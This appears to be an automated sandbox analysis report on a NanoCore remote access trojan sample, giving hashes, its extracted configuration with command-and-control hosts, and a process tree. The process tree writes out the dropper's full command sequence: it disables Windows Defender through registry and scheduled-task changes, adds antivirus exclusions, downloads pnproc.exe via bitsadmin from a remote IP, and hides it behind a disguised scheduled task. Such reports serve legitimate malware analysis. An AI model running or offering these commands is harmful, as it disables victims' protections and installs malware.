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Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2023, 20:13

General

  • Target

    tmp.exe

  • Size

    314KB

  • MD5

    0f82973b8fb033ddf1737a08ee7af0ad

  • SHA1

    617aaac77fee3dcd155dae0207d45297563b9b91

  • SHA256

    61dd71f5c77595869823f58be7c12eb1d2729d718880d596bf5ac54a789854d3

  • SHA512

    1c66e5777cfb5b618fe24eaf4606f1ddf53448f3518ff235432b5a11ac01d471e62f2b8b34419584562cfd19d9fa9df52f89b6b1e91f828b944219789d35f001

  • SSDEEP

    6144:2TouKrWBEu3/Z2lpGDHU3ykJotX+t41/GA:2ToPWBv/cpGrU3yVtX+t4VGA

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

mphlabs.ddns.net:8273

mphnewconn.ddns.net:8273

Mutex

d198e7e6-5881-4519-8bb5-76dd9a9eb1e1

Attributes
  • activate_away_mode

    true

  • backup_connection_host

    mphnewconn.ddns.net

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2022-02-10T07:10:50.745546436Z

  • bypass_user_account_control

    true

  • bypass_user_account_control_data

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    8273

  • default_group

    p-man

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    d198e7e6-5881-4519-8bb5-76dd9a9eb1e1

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    mphlabs.ddns.net

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    true

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Downloads MZ/PE file
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmp.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2992
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\newtake.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2348
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden -file newtake.bat
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2604
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        3⤵
          PID:2572
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
          3⤵
            PID:2724
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
            3⤵
              PID:2636
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
              3⤵
                PID:2700
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2788
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2912
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2880
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2592
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2676
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                3⤵
                  PID:2624
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                  3⤵
                    PID:2568
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                    3⤵
                      PID:2372
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                      3⤵
                        PID:2452
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                        3⤵
                          PID:2448
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                          3⤵
                            PID:2468
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                            3⤵
                              PID:2484
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                              3⤵
                                PID:2528
                              • C:\Windows\SysWOW64\schtasks.exe
                                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                3⤵
                                  PID:2576
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                  3⤵
                                    PID:2888
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                    3⤵
                                      PID:2892
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                      3⤵
                                        PID:3020
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                        3⤵
                                          PID:2092
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                          3⤵
                                            PID:2904
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                            3⤵
                                              PID:2432
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                              3⤵
                                                PID:2388
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath c:\users\public\documents
                                                3⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1720
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionProcess "pnproc.exe"
                                                3⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1036
                                              • C:\Windows\SysWOW64\Dism.exe
                                                DISM /Online /Enable-Feature /FeatureName:NetFx3 /All
                                                3⤵
                                                • Drops file in Windows directory
                                                PID:1736
                                              • C:\Windows\SysWOW64\bitsadmin.exe
                                                bitsadmin /transfer debjob /download /priority foreground http://147.182.135.152:80/dload/pnproc.exe "c:\users\public\documents\pnproc.exe"
                                                3⤵
                                                • Download via BitsAdmin
                                                PID:1812
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                SCHTASKS.exe /CREATE /SC ONLOGON /TN "\Microsoft\Windows\Sysmain\DiskCleanup" /RL HIGHEST /TR "c:\users\public\documents\pnproc.exe"
                                                3⤵
                                                • Creates scheduled task(s)
                                                PID:912
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                SCHTASKS.exe /run /TN "\Microsoft\Windows\Sysmain\DiskCleanup"
                                                3⤵
                                                  PID:932
                                                • C:\Windows\SysWOW64\attrib.exe
                                                  attrib "c:\users\public\documents\pnproc.exe" +r +a +s +h
                                                  3⤵
                                                  • Sets file to hidden
                                                  • Views/modifies file attributes
                                                  PID:2176
                                            • C:\Windows\system32\taskeng.exe
                                              taskeng.exe {402526E9-5AE2-4FC0-A29B-FD304B4FD408} S-1-5-21-3185155662-718608226-894467740-1000:YETUIZPU\Admin:Interactive:[1]
                                              1⤵
                                                PID:2380
                                                • \??\c:\users\public\documents\pnproc.exe
                                                  c:\users\public\documents\pnproc.exe
                                                  2⤵
                                                  • Executes dropped EXE
                                                  • Checks whether UAC is enabled
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1408

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

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                                              Downloads

                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\newtake.bat

                                                Filesize

                                                3KB

                                                MD5

                                                9c90c85d4d83e0008aea8410f1b5794e

                                                SHA1

                                                e0df27ed158298bf431ca87a696aa84104655ad2

                                                SHA256

                                                98a56eea405af1a993ed4ab90a7bd1f02ce482c6b0730cc274c61c771fb828b1

                                                SHA512

                                                f329d2fb059b054e4b03d19007552248c7be6390e249c202879bcf09e4a1cd55848d1e6da81ebecaba4084ab6a1a31f359a11f6c49b432960c70fbd783adbb29

                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\newtake.bat

                                                Filesize

                                                3KB

                                                MD5

                                                9c90c85d4d83e0008aea8410f1b5794e

                                                SHA1

                                                e0df27ed158298bf431ca87a696aa84104655ad2

                                                SHA256

                                                98a56eea405af1a993ed4ab90a7bd1f02ce482c6b0730cc274c61c771fb828b1

                                                SHA512

                                                f329d2fb059b054e4b03d19007552248c7be6390e249c202879bcf09e4a1cd55848d1e6da81ebecaba4084ab6a1a31f359a11f6c49b432960c70fbd783adbb29

                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1OWO6TG1HVBXJ8NL0U1S.temp

                                                Filesize

                                                7KB

                                                MD5

                                                2437b3c02e8733c5136a6fcf84ddd613

                                                SHA1

                                                477a6e824522f467f0e5532721f6edb79ea441bc

                                                SHA256

                                                3f3a18a2f373600b4c31bdd037250b5ccc3c8e958cdd32cbc02dc7e4951f7afa

                                                SHA512

                                                bf0b2465458517b1e9caf4f9445d6ec35a00f1c18e11aaa1acb029ede7e28607e565284775cd5ddd2d2b0ac01df4f9c15a201a9acc948f0787782b94472e4255

                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

                                                Filesize

                                                7KB

                                                MD5

                                                2437b3c02e8733c5136a6fcf84ddd613

                                                SHA1

                                                477a6e824522f467f0e5532721f6edb79ea441bc

                                                SHA256

                                                3f3a18a2f373600b4c31bdd037250b5ccc3c8e958cdd32cbc02dc7e4951f7afa

                                                SHA512

                                                bf0b2465458517b1e9caf4f9445d6ec35a00f1c18e11aaa1acb029ede7e28607e565284775cd5ddd2d2b0ac01df4f9c15a201a9acc948f0787782b94472e4255

                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

                                                Filesize

                                                7KB

                                                MD5

                                                2437b3c02e8733c5136a6fcf84ddd613

                                                SHA1

                                                477a6e824522f467f0e5532721f6edb79ea441bc

                                                SHA256

                                                3f3a18a2f373600b4c31bdd037250b5ccc3c8e958cdd32cbc02dc7e4951f7afa

                                                SHA512

                                                bf0b2465458517b1e9caf4f9445d6ec35a00f1c18e11aaa1acb029ede7e28607e565284775cd5ddd2d2b0ac01df4f9c15a201a9acc948f0787782b94472e4255

                                              • C:\Users\Public\Documents\pnproc.exe

                                                Filesize

                                                202KB

                                                MD5

                                                43fcea4b740c2daba3271f7992184932

                                                SHA1

                                                0bca68ff32d5fb9a665b6db2b654ae7a87d4089f

                                                SHA256

                                                3d933566f692fc9709a5c290d541ca65d794e3a0f66f279f71ed97d07aa16e71

                                                SHA512

                                                fa7b939a8a01b5e016e18b82177f4f3170afb74049f20025f9ff1df25fc4b007a921567c1b9dcee132e040fbbdd322e33020c9fde91cccd704e47a4115e1c85b

                                              • memory/1036-48-0x0000000074240000-0x00000000747EB000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1036-50-0x0000000002800000-0x0000000002840000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1036-51-0x0000000002800000-0x0000000002840000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1036-53-0x0000000074240000-0x00000000747EB000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1036-49-0x0000000074240000-0x00000000747EB000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1036-52-0x0000000002800000-0x0000000002840000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1408-62-0x00000000743B0000-0x000000007495B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1408-58-0x00000000743B0000-0x000000007495B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1408-59-0x00000000743B0000-0x000000007495B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1408-60-0x0000000000BB0000-0x0000000000BF0000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1408-63-0x00000000743B0000-0x000000007495B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1408-64-0x0000000000BB0000-0x0000000000BF0000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1720-37-0x0000000073890000-0x0000000073E3B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1720-33-0x0000000073890000-0x0000000073E3B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1720-40-0x0000000002870000-0x00000000028B0000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1720-41-0x0000000002870000-0x00000000028B0000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1720-42-0x0000000073890000-0x0000000073E3B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1720-38-0x0000000073890000-0x0000000073E3B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/1720-36-0x0000000002870000-0x00000000028B0000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1720-35-0x0000000002870000-0x00000000028B0000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1720-34-0x0000000002870000-0x00000000028B0000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1720-39-0x0000000002870000-0x00000000028B0000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/1720-32-0x0000000073890000-0x0000000073E3B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/2604-26-0x0000000074270000-0x000000007481B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/2604-25-0x00000000026E0000-0x0000000002720000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/2604-24-0x0000000074270000-0x000000007481B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/2604-23-0x0000000074270000-0x000000007481B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/2604-22-0x00000000026E0000-0x0000000002720000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/2604-21-0x00000000026E0000-0x0000000002720000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/2604-20-0x00000000026E0000-0x0000000002720000-memory.dmp

                                                Filesize

                                                256KB

                                              • memory/2604-19-0x0000000074270000-0x000000007481B000-memory.dmp

                                                Filesize

                                                5.7MB

                                              • memory/2604-18-0x0000000074270000-0x000000007481B000-memory.dmp

                                                Filesize

                                                5.7MB